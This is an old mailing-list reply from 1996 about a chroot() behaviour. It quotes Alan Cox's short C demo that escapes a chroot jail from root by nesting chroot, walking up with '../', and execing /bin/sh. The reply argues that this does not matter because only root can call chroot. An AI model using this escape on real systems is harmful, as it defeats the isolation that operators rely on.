Re: Glitch in sys_chroot()

Greg Alexander (galexand@sietch.bloomington.in.us)
Sat, 16 Nov 1996 00:29:51 -0500 (EST)


On Fri, 15 Nov 1996, Alan Cox wrote:

> No but a little demo on each of those machines
>
> /* Escape from chroot after getting root in the chroot area */
>
> main()
> {
> mkdir("fred");
> chroot("fred");
> chdir("../../../../../../../../../");
> chroot("/");
> execl("/bin/sh","-sh",NULL);
> }

Um, seeing as how you have to be root to run programs that do chroot()
calls, I don't think we really give a flying rat's ass if the program can
escape -- it's root, of course it can escape!

Greg Alexander
http://www.cia-g.com/~sietch/